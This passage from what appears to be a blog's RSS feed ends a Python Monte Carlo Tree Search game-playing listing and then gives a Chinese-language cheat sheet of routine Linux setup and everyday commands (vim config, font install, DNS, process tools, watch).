</span></span><span class="line"><span class="ln">353</span><span class="cl">        <span class="k">while</span> <span class="n">node</span><span class="o">.</span><span class="n">untriedMoves</span> <span class="o">==</span> <span class="p">[]</span> <span class="ow">and</span> <span class="n">node</span><span class="o">.</span><span class="n">childNodes</span> <span class="o">!=</span> <span class="p">[]:</span>  <span class="c1"># node is fully expanded and non-terminal</span>
</span></span><span class="line"><span class="ln">354</span><span class="cl">            <span class="n">node</span> <span class="o">=</span> <span class="n">node</span><span class="o">.</span><span class="n">UCTSelectChild</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">355</span><span class="cl">            <span class="n">state</span><span class="o">.</span><span class="n">DoMove</span><span class="p">(</span><span class="n">node</span><span class="o">.</span><span class="n">move</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">356</span><span class="cl">
</span></span><span class="line"><span class="ln">357</span><span class="cl">        <span class="c1"># Expand</span>
</span></span><span class="line"><span class="ln">358</span><span class="cl">        <span class="k">if</span> <span class="n">node</span><span class="o">.</span><span class="n">untriedMoves</span> <span class="o">!=</span> <span class="p">[]:</span>  <span class="c1"># if we can expand (i.e. state/node is non-terminal)</span>
</span></span><span class="line"><span class="ln">359</span><span class="cl">            <span class="n">m</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">choice</span><span class="p">(</span><span class="n">node</span><span class="o">.</span><span class="n">untriedMoves</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">360</span><span class="cl">            <span class="n">state</span><span class="o">.</span><span class="n">DoMove</span><span class="p">(</span><span class="n">m</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">361</span><span class="cl">            <span class="n">node</span> <span class="o">=</span> <span class="n">node</span><span class="o">.</span><span class="n">AddChild</span><span class="p">(</span><span class="n">m</span><span class="p">,</span> <span class="n">state</span><span class="p">)</span>  <span class="c1"># add child and descend tree</span>
</span></span><span class="line"><span class="ln">362</span><span class="cl">
</span></span><span class="line"><span class="ln">363</span><span class="cl">        <span class="c1"># Rollout - this can often be made orders of magnitude quicker using a state.GetRandomMove() function</span>
</span></span><span class="line"><span class="ln">364</span><span class="cl">        <span class="k">while</span> <span class="n">state</span><span class="o">.</span><span class="n">GetMoves</span><span class="p">()</span> <span class="o">!=</span> <span class="p">[]:</span>  <span class="c1"># while state is non-terminal</span>
</span></span><span class="line"><span class="ln">365</span><span class="cl">            <span class="n">state</span><span class="o">.</span><span class="n">DoMove</span><span class="p">(</span><span class="n">random</span><span class="o">.</span><span class="n">choice</span><span class="p">(</span><span class="n">state</span><span class="o">.</span><span class="n">GetMoves</span><span class="p">()))</span>
</span></span><span class="line"><span class="ln">366</span><span class="cl">
</span></span><span class="line"><span class="ln">367</span><span class="cl">        <span class="c1"># Backpropagate</span>
</span></span><span class="line"><span class="ln">368</span><span class="cl">        <span class="k">while</span> <span class="n">node</span> <span class="o">!=</span> <span class="kc">None</span><span class="p">:</span>  <span class="c1"># backpropagate from the expanded node and work back to the root node</span>
</span></span><span class="line"><span class="ln">369</span><span class="cl">            <span class="n">node</span><span class="o">.</span><span class="n">Update</span><span class="p">(</span><span class="n">state</span><span class="o">.</span><span class="n">GetResult</span><span class="p">(</span>
</span></span><span class="line"><span class="ln">370</span><span class="cl">                <span class="n">node</span><span class="o">.</span><span class="n">playerJustMoved</span><span class="p">))</span>  <span class="c1"># state is terminal. Update node with result from POV of node.playerJustMoved</span>
</span></span><span class="line"><span class="ln">371</span><span class="cl">            <span class="n">node</span> <span class="o">=</span> <span class="n">node</span><span class="o">.</span><span class="n">parentNode</span>
</span></span><span class="line"><span class="ln">372</span><span class="cl">
</span></span><span class="line"><span class="ln">373</span><span class="cl">    <span class="c1"># Output some information about the tree - can be omitted</span>
</span></span><span class="line"><span class="ln">374</span><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">verbose</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">375</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">rootnode</span><span class="o">.</span><span class="n">TreeToString</span><span class="p">(</span><span class="mi">0</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">376</span><span class="cl">    <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">377</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">rootnode</span><span class="o">.</span><span class="n">ChildrenToString</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">378</span><span class="cl">
</span></span><span class="line"><span class="ln">379</span><span class="cl">    <span class="k">return</span> <span class="nb">sorted</span><span class="p">(</span><span class="n">rootnode</span><span class="o">.</span><span class="n">childNodes</span><span class="p">,</span> <span class="n">key</span><span class="o">=</span><span class="k">lambda</span> <span class="n">c</span><span class="p">:</span> <span class="n">c</span><span class="o">.</span><span class="n">visits</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">move</span>  <span class="c1"># return the move that was most visited</span>
</span></span><span class="line"><span class="ln">380</span><span class="cl">
</span></span><span class="line"><span class="ln">381</span><span class="cl">
</span></span><span class="line"><span class="ln">382</span><span class="cl"><span class="k">def</span> <span class="nf">UCTPlayGame</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">383</span><span class="cl">    <span class="s2">&#34;&#34;&#34; Play a sample game between two UCT players where each player gets a different number 
</span></span></span><span class="line"><span class="ln">384</span><span class="cl"><span class="s2">        of UCT iterations (= simulations = tree nodes).
</span></span></span><span class="line"><span class="ln">385</span><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">386</span><span class="cl">    <span class="c1"># state = OthelloState(4) # uncomment to play Othello on a square board of the given size</span>
</span></span><span class="line"><span class="ln">387</span><span class="cl">    <span class="n">state</span> <span class="o">=</span> <span class="n">OXOState</span><span class="p">()</span> <span class="c1"># uncomment to play OXO</span>
</span></span><span class="line"><span class="ln">388</span><span class="cl">    <span class="c1"># state = NimState(15)  # uncomment to play Nim with the given number of starting chips</span>
</span></span><span class="line"><span class="ln">389</span><span class="cl">    <span class="k">while</span> <span class="p">(</span><span class="n">state</span><span class="o">.</span><span class="n">GetMoves</span><span class="p">()</span> <span class="o">!=</span> <span class="p">[]):</span>
</span></span><span class="line"><span class="ln">390</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">state</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">391</span><span class="cl">        <span class="k">if</span> <span class="n">state</span><span class="o">.</span><span class="n">playerJustMoved</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">392</span><span class="cl">            <span class="n">m</span> <span class="o">=</span> <span class="n">UCT</span><span class="p">(</span><span class="n">rootstate</span><span class="o">=</span><span class="n">state</span><span class="p">,</span> <span class="n">itermax</span><span class="o">=</span><span class="mi">1000</span><span class="p">,</span> <span class="n">verbose</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>  <span class="c1"># play with values for itermax and verbose = True</span>
</span></span><span class="line"><span class="ln">393</span><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">394</span><span class="cl">            <span class="n">m</span> <span class="o">=</span> <span class="n">UCT</span><span class="p">(</span><span class="n">rootstate</span><span class="o">=</span><span class="n">state</span><span class="p">,</span> <span class="n">itermax</span><span class="o">=</span><span class="mi">100</span><span class="p">,</span> <span class="n">verbose</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">395</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Best Move: &#34;</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">m</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">396</span><span class="cl">        <span class="n">state</span><span class="o">.</span><span class="n">DoMove</span><span class="p">(</span><span class="n">m</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">397</span><span class="cl">    <span class="k">if</span> <span class="n">state</span><span class="o">.</span><span class="n">GetResult</span><span class="p">(</span><span class="n">state</span><span class="o">.</span><span class="n">playerJustMoved</span><span class="p">)</span> <span class="o">==</span> <span class="mf">1.0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">398</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Player &#34;</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">state</span><span class="o">.</span><span class="n">playerJustMoved</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&#34; wins!&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">399</span><span class="cl">    <span class="k">elif</span> <span class="n">state</span><span class="o">.</span><span class="n">GetResult</span><span class="p">(</span><span class="n">state</span><span class="o">.</span><span class="n">playerJustMoved</span><span class="p">)</span> <span class="o">==</span> <span class="mf">0.0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">400</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Player &#34;</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="mi">3</span> <span class="o">-</span> <span class="n">state</span><span class="o">.</span><span class="n">playerJustMoved</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&#34; wins!&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">401</span><span class="cl">    <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">402</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Nobody wins!&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">403</span><span class="cl">
</span></span><span class="line"><span class="ln">404</span><span class="cl">
</span></span><span class="line"><span class="ln">405</span><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">406</span><span class="cl">    <span class="s2">&#34;&#34;&#34; Play a single game to the end using UCT for both players. 
</span></span></span><span class="line"><span class="ln">407</span><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">408</span><span class="cl">    <span class="n">UCTPlayGame</span><span class="p">()</span></span></span></code></pre></div><blockquote>
<p>引用自：<a href="http://mcts.ai/code/python.html">http://mcts.ai/code/python.html</a></p>
</blockquote>
]]></content:encoded>
    </item>
    <item>
      <title>Linux 笔记</title>
      <link>https://sttev.com/posts/03-linux-notes/</link>
      <pubDate>Thu, 01 Mar 2018 00:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/03-linux-notes/</guid>
      <description>&lt;h2 id=&#34;装机必备&#34;&gt;装机必备&lt;/h2&gt;&#xA;&lt;h3 id=&#34;立刻关机&#34;&gt;立刻关机&lt;/h3&gt;&#xA;&lt;p&gt;&lt;code&gt;sudo shutdown -t now&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;设置fish为默认shell&#34;&gt;设置fish为默认shell&lt;/h3&gt;&#xA;&lt;p&gt;&lt;code&gt;chsh -s /usr/bin/fish&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;安装ssh服务&#34;&gt;安装ssh服务&lt;/h3&gt;&#xA;&lt;p&gt;&lt;code&gt;sudo apt install sshd&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;让你的sudo输错密码的时候嘲讽你&#34;&gt;让你的sudo输错密码的时候嘲讽你&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;sudo visudo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;然后在配置中加入如下一行：&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;Defaults insults&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;安装ss-qt5&#34;&gt;安装ss-qt5&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;sudo add-apt-repository ppa:hzwhuang/ss-qt5&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;sudo apt install shadowsocks-qt5&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;vim简单配置&#34;&gt;vim简单配置&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-vimrc&#34; data-lang=&#34;vimrc&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;set&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;number&lt;/span&gt;  &lt;span class=&#34;c&#34;&gt;&amp;#34;显示行号&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;filetype&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;on&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;set&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;history&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;1000&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;syntax&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;on&lt;/span&gt;  &lt;span class=&#34;c&#34;&gt;&amp;#34;打开语法高亮显示  &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;set&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;autoindent&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;&amp;#34;自动对齐，使用上一行的对齐方式&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;set&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;smartindent&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;&amp;#34;智能对齐方式&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;set&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;tabstop&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;4&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;set&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;shiftwidth&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;4&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;set&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;showmatch&lt;/span&gt;  &lt;span class=&#34;c&#34;&gt;&amp;#34;设置匹配模式&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;set&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;ruler&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;&amp;#34;在编辑过程中，在右下角显示光标位置的状态行&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;autocmd&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;Insertleave&lt;/span&gt; * &lt;span class=&#34;nx&#34;&gt;se&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;nocul&lt;/span&gt;    &lt;span class=&#34;c&#34;&gt;&amp;#34;浅色高亮当前行&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;autocmd&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;InsertEnter&lt;/span&gt; * &lt;span class=&#34;nx&#34;&gt;se&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;cul&lt;/span&gt;   &lt;span class=&#34;c&#34;&gt;&amp;#34;浅色高亮当前行&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;set&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;mouse&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;a&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;set&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;encoding&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;utf&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;-8&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;hi&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;Normal&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;ctermbg&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;Black&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;ctermfg&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;white&lt;/span&gt;  &lt;span class=&#34;c&#34;&gt;&amp;#34;修改背景色&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;consolas字体安装配置&#34;&gt;consolas字体安装配置&lt;/h3&gt;&#xA;&lt;p&gt;下载：&lt;a href=&#34;https://code.google.com/archive/p/uigroupcode/downloads&#34;&gt;https://code.google.com/archive/p/uigroupcode/downloads&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;将上面下载的字体包解压，并按如下操作：&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="装机必备">装机必备</h2>
<h3 id="立刻关机">立刻关机</h3>
<p><code>sudo shutdown -t now</code></p>
<h3 id="设置fish为默认shell">设置fish为默认shell</h3>
<p><code>chsh -s /usr/bin/fish</code></p>
<h3 id="安装ssh服务">安装ssh服务</h3>
<p><code>sudo apt install sshd</code></p>
<h3 id="让你的sudo输错密码的时候嘲讽你">让你的sudo输错密码的时候嘲讽你</h3>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo visudo
</span></span><span class="line"><span class="ln">2</span><span class="cl">然后在配置中加入如下一行：
</span></span><span class="line"><span class="ln">3</span><span class="cl">Defaults insults</span></span></code></pre></div><h3 id="安装ss-qt5">安装ss-qt5</h3>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo add-apt-repository ppa:hzwhuang/ss-qt5
</span></span><span class="line"><span class="ln">2</span><span class="cl">sudo apt install shadowsocks-qt5</span></span></code></pre></div><h3 id="vim简单配置">vim简单配置</h3>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-vimrc" data-lang="vimrc"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="k">set</span> <span class="nx">number</span>  <span class="c">&#34;显示行号</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">filetype</span> <span class="nx">on</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="k">set</span> <span class="nx">history</span><span class="p">=</span><span class="m">1000</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="k">syntax</span> <span class="nx">on</span>  <span class="c">&#34;打开语法高亮显示  </span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="k">set</span> <span class="nx">autoindent</span> <span class="c">&#34;自动对齐，使用上一行的对齐方式</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="k">set</span> <span class="nx">smartindent</span> <span class="c">&#34;智能对齐方式</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="k">set</span> <span class="nx">tabstop</span><span class="p">=</span><span class="m">4</span> 
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="k">set</span> <span class="nx">shiftwidth</span><span class="p">=</span><span class="m">4</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="k">set</span> <span class="nx">showmatch</span>  <span class="c">&#34;设置匹配模式</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="k">set</span> <span class="nx">ruler</span> <span class="c">&#34;在编辑过程中，在右下角显示光标位置的状态行</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="k">autocmd</span> <span class="nx">Insertleave</span> * <span class="nx">se</span> <span class="nx">nocul</span>    <span class="c">&#34;浅色高亮当前行</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="k">autocmd</span> <span class="nx">InsertEnter</span> * <span class="nx">se</span> <span class="nx">cul</span>   <span class="c">&#34;浅色高亮当前行</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="k">set</span> <span class="nx">mouse</span><span class="p">=</span><span class="nx">a</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="k">set</span> <span class="nx">encoding</span><span class="p">=</span><span class="nx">utf</span><span class="m">-8</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="k">hi</span> <span class="nx">Normal</span> <span class="nx">ctermbg</span><span class="p">=</span><span class="nx">Black</span> <span class="nx">ctermfg</span><span class="p">=</span><span class="nx">white</span>  <span class="c">&#34;修改背景色</span></span></span></code></pre></div><h3 id="consolas字体安装配置">consolas字体安装配置</h3>
<p>下载：<a href="https://code.google.com/archive/p/uigroupcode/downloads">https://code.google.com/archive/p/uigroupcode/downloads</a></p>
<p>将上面下载的字体包解压，并按如下操作：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo mkdir -p /usr/share/fonts/consolas
</span></span><span class="line"><span class="ln">2</span><span class="cl">sudo cp YaHei.Consolas.1.12.ttf /usr/share/fonts/consolas/
</span></span><span class="line"><span class="ln">3</span><span class="cl">sudo chmod <span class="m">644</span> /usr/share/fonts/consolas/YaHei.Consolas.1.12.ttf
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="nb">cd</span> /usr/share/fonts/consolas
</span></span><span class="line"><span class="ln">5</span><span class="cl">sudo mkfontscale <span class="o">&amp;&amp;</span> sudo mkfontdir <span class="o">&amp;&amp;</span> sudo fc-cache -fv</span></span></code></pre></div><h3 id="修改dns">修改dns</h3>
<p>进入 <code>/etc/network/interfaces</code> 在它的最后增加一句：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-dns" data-lang="dns"><span class="line"><span class="ln">1</span><span class="cl"><span class="nc">dns-nameservers</span><span class="w"> </span><span class="mi">8.8.8.8</span><span class="w"> </span><span class="p">(</span><span class="err">或者别的啥</span><span class="p">)</span></span></span></code></pre></div><p>临时修改就在 <code>/etc/resolv.conf</code> 中加入</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-dns" data-lang="dns"><span class="line"><span class="ln">1</span><span class="cl"><span class="nc">nameserver</span><span class="w"> </span><span class="mi">8.8.8.8</span><span class="w">
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="nc">nameserver</span><span class="w"> </span><span class="mi">8.8.4.4</span><span class="w"> </span><span class="p">(</span><span class="err">之类的</span><span class="p">)</span></span></span></code></pre></div><hr>
<h2 id="常用操作">常用操作</h2>
<h3 id="刷新dns">刷新dns</h3>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install nscd <span class="o">(</span>如果没有装的话<span class="o">)</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">/etc/init.d/nscd restart</span></span></code></pre></div><h3 id="运行新版网易云音乐">运行新版网易云音乐</h3>
<p><code>sudo netease-cloud-music</code></p>
<h3 id="解压缩targz包">解压缩tar.gz包</h3>
<p><code>tar -xzvf ***.tar.gz</code></p>
<h3 id="查看不与terminal有关的所有process">查看不与terminal有关的所有process</h3>
<p><code>ps -a</code></p>
<h3 id="进程树">进程树</h3>
<p><code>pstree</code></p>
<h3 id="系统进程动态视图">系统进程动态视图</h3>
<p><code>top</code></p>
<h3 id="查找进程">查找进程</h3>
<p><code>pgrep ***</code></p>
<h3 id="按照进程名杀进程">按照进程名杀进程</h3>
<p><code>pkill ***</code></p>
<h3 id="查看系统负载详细信息">查看系统负载详细信息</h3>
<p><code>sudo atop</code></p>
<h3 id="查看当前系统路径">查看当前系统路径</h3>
<p><code>pwd</code></p>
<h3 id="查看帮助">查看帮助</h3>
<p><code>man ***</code></p>
<h3 id="查看当前tty窗口号">查看当前tty窗口号</h3>
<p><code>tty</code></p>
<h3 id="后台运行任务">后台运行任务</h3>
<p><code>nohup *** &amp;</code></p>
<h3 id="查看所有可用字体名">查看所有可用字体名</h3>
<p><code>fc-list</code></p>
<h3 id="字符串正则匹配">字符串正则匹配</h3>
<p><code>grep match_pattern file_name</code></p>
<h3 id="解决xauthority的问题">解决Xauthority的问题</h3>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo rm ~/.Xauthority-*
</span></span><span class="line"><span class="ln">2</span><span class="cl">sudo touch ~/.Xauthority <span class="p">;</span> sudo chown <span class="nv">$LOGNAME</span> ~/.Xauthority <span class="p">;</span> chmod <span class="m">775</span> ~/.Xauthority</span></span></code></pre></div><h3 id="监视某命令运行结果--watch">监视某命令运行结果 ： <code>watch</code></h3>





<pre tabindex="0"><code class="language-help" data-lang="help">命令格式： watch[参数][命令]
命令参数：
-n或--interval  缺省每2秒运行一下程序，可以用-n或-interval来指定间隔的时间。
-d或--differences  会高亮显示变化的区域。 而-d=cumulative选项会把变动过的地方(不管最近的那次有没有变动)都高亮显示出来。
-t 或-no-title  会关闭watch命令在顶部的时间间隔,命令，当前时间的输出。
-h, --help 查看帮助文档。</code></pre><hr>
<h2 id="有趣的骚操作">有趣的骚操作</h2>
<h3 id="watch实例-命令行时钟">watch实例-命令行时钟</h3>
<p><code>watch -t -n1 &quot;date +%T|toilet&quot;</code></p>
<h3 id="增强版时钟">增强版时钟</h3>
